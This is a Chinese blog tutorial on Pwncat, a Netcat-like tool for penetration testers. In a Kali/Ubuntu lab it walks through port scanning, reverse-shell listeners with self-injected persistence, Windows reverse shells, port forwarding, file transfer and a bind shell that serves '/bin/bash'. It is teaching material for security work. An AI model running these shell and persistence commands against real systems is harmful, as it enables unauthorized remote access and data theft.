首页 > 系统相关 >Pwncat --- 一款功能强大的反向Shell&Bindshell处理工具

Pwncat --- 一款功能强大的反向Shell&Bindshell处理工具

时间:2025-01-04 19:29:01浏览次数:7  
标签:--- shell kali Pwncat 端口 192.168 Bindshell Shell pwncat

                     公众号:泷羽Sec---风宵

Pwncat

目录

介绍:

安装方法

端口扫描和Banner抓取

设为监听器

Windows反向Shell

本地端口转发

发送和接收文件

绑定Shell(Linux)

介绍:

      Pwncat作为一种强大且类似Netcat的工具,专为渗透测试人员及红队成员设计。它拥有带语法高亮和命令自动补全的交互式Shell,极大提高了使用的方便性。该工具不仅提供了充裕的二次开发接口,具备优良的扩展性,适应多种需求,还支持加密通信,保障了数据交互的安全性。与Netcat相比,Pwncat更适合应对复杂网络环境中的渗透挑战。

Pwncat的官网地址:

https://pwncat.org/

安装方法

在Kali系统中, 可以使用apt命令安装pwncat。

apt install pwncat

端口扫描和Banner抓取

系统管理员可以使用Pwncat工具,通过设定端口范围,并结合使用-banner选项,对目标系统中的开放端口进行扫描,同时实现banner信息的抓取。

pwncat -z 192.168.1.23 1-100
pwncat -z 192.168.1.23 1-100 --banner

Pwncat 不仅可以在 TCP 端口上执行端口扫描,还可以使用-u标志来扫描 UDP 端口。

设为监听器

    在执行监听器操作期间,pwncat通过在/tmp/文件夹下生成文件以实现持久化。即便连接中断,也能通过原先使用的端口重新获取反向shell。

pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234

终止连接后,可以通过在同一端口运行 rlwrap 侦听器来检查持久性。

Pwncat 可以在多个端口上创建持久性连接的功能。

pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234+2

可以看到除了1234端口之外,还可以在1235和1236端口上获得反向shell

Windows反向Shell

     要取得反向 shell,可以借助 Windows 电脑上的反向 shell 生成器(访问 Online - Reverse Shell Generator),通过执行相关命令来获取反向 shell。

在执行从 revshells.com 复制的命令之前,在 kali的4444端口启动监听器

pwncat -l 4444

本地端口转发

使用以下命令在 Ubuntu 计算机中安装 pwncat

pip3 install pwncat

在成功获取到反向shell之后,观察到Ubuntu系统上8080端口有一个应用正在运行。为了从Kali系统中访问这个Web应用,下一步将执行以下操作以实现本地端口转发。

pwncat -L 0.0.0.0:5000 127.0.0.1 8080

在 kali 机器内访问 Web 应用程序,网址为:http://192.168.1.23:5000

发送和接收文件

     在使用 pwncat 工具进行网络交互时,可以不仅仅用于建立逆向shell连接,还能够进行文件的发送和接收。为此,在的Ubuntu计算机上,可以首先创建一个名为 data.txt 的文件。,并在要接收该文件的 kali 计算机中启动侦听器。

要在kali机器中接收文件,可以使用以下命令:

pwncat -l 6666 > data.txt

监听器激活后,可以使用以下命令在 kali 机器中传输文件。

pwncat 192.168.1.7 6666 < data.txt

绑定Shell(Linux)

要获取绑定 shell,使用以下命令在 kali 机器内启动侦听器:

pwncat 192.168.1.23 9874

在 Ubuntu 机器中输入以下命令:

pwncat -l -e '/bin/bash' 9874 -k

可以观察到在kali机器上获得了bind shell连接。由于上面使用了-k标志,一旦客户端断开连接,绑定 shell 就会重新接受新客户端。

好啦,本文的内容就到这了,希望对你有所帮助咯。。。


标签:---,shell,kali,Pwncat,端口,192.168,Bindshell,Shell,pwncat
From: https://blog.csdn.net/2301_79949226/article/details/144933799

相关文章

  • 基于SpringBoot和Thymeleaf的仿小米电商系统源码下载与安装指南-幽络源
    项目概述这是一个基于SpringBoot2.X和Thymeleaf技术栈的仿小米电商系统。该项目包括了前台商城系统和后台管理系统,经幽络源测试具备完整的电商功能,适合用作学习、参考或作为开发电商系统的基础。前台商城系统:包括首页登录、商品分类、新品上线、首页轮播、商品推荐、......
  • 流程控制第二弹: 从小白到高手-Java While 循环的进阶秘籍(文中有福利赠送)
    ......
  • 中考英语优秀范文-008 when you in China, do as the Chinese do! 当你在中国时,入乡随
    1写作要求在不同的地方有不同的风俗习惯,饮食文化很重要。中国的饮食文化不同于西方。请你谈谈中国的三餐,以“whenyouinChina,doastheChinesedo!”为题写一篇短文。要求:80词左右,内容合理;要点齐全;句子及篇章结构准确、连贯;书写规范。2优秀范文WheninChina,do......
  • 学期2024-2025-1 学号20241424 《计算机基础与程序设计》第15周学习总结
    学期2024-2025-1学号20241424《计算机基础与程序设计》第15周学习总结作业信息|这个作业属于2024-2025-1-计算机基础与程序设计)||-- |-- ||这个作业要求在2024-2025-1计算机基础与程序设计第15周作业||这个作业的目标|<作业总结>||作业正文|https://www.cnblogs.com/zmws/......
  • RoomFormer、FRI-Net
    WSLCUDA安装【一文解决】已安装CUDA与Pytorch但torch.cuda.is_available()为False_torch.cuda.isavailable返回false-CSDN博客cuda安装Ubuntu20.04安装CUDA&CUDNN手把手带你撸_ubuntu20.04安装cuda-CSDN博客【CUDA】Ubuntu系统如何安装CUDA保姆级教程(2022年最新)_ubunt......
  • WiFi+4G摄像头拍照图传模块(夜视2K高清1080P)-定时拍照http post上传到服务器,然后低
    <p><iframename="ifd"src="https://mnifdv.cn/resource/cnblogs/product/audioCamera.html"frameborder="0"scrolling="auto"width="100%"height="1500"></iframe></p> 提示!1,......
  • DL00755-基于YOLO深度学习的井盖缺陷检测系统可换模型
    完整链接:https://item.taobao.com/item.htm?ft=t&id=868129715108YOLOv8(YouOnlyLookOnceVersion8)是近年来深度学习领域中广泛应用的一种高效目标检测算法,特别擅长处理实时目标识别任务。在城市基础设施的管理和维护中,井盖缺陷的检测是一个重要的研究方向。井盖作为城市排水......
  • lec8 - 路由协议RIP与OSPF
    lec8-路由协议RIP与OSPF博客中的很多内容来自PPT和学长博客:EagleBear2002的博客SpriCoder的博客1.RIP1.1.RIP的历史RIPv1被认为是一种内部网关协议,IGP(interiorgatewayprotocol)RIPv1是基于距离矢量的,它与邻居路由器定时广播发送整个的路由表,默认的定......
  • lec12-DHCP
    lec12-DHCP讲解和图片主要来源于:计算机网络微课堂第081讲动态主机配置协议DHCP(有字幕无背景音乐版)-哔哩哔哩需要给主机:IP地址,子网掩码,默认网关,DNS服务器如果在DHCP先设置好,让DHCP服务器自动给主机进行配置,管理网络就会方便2.DHCP工作过程使用的是客户/服务器......
  • 自己动手写CPU - 1
    电脑,手机,单片机,都有一个核心部件:CPU.今天开始学verilog,就尝试一下动手写一个可以工作的CPU.目标就是可以计算从1加到10等于几?分析一下,大概需要几个指令:LdrAddSubCmpJmp第一步,先写一个运算部件:ALU.modulealu0(input[3:0]op,input[7:0......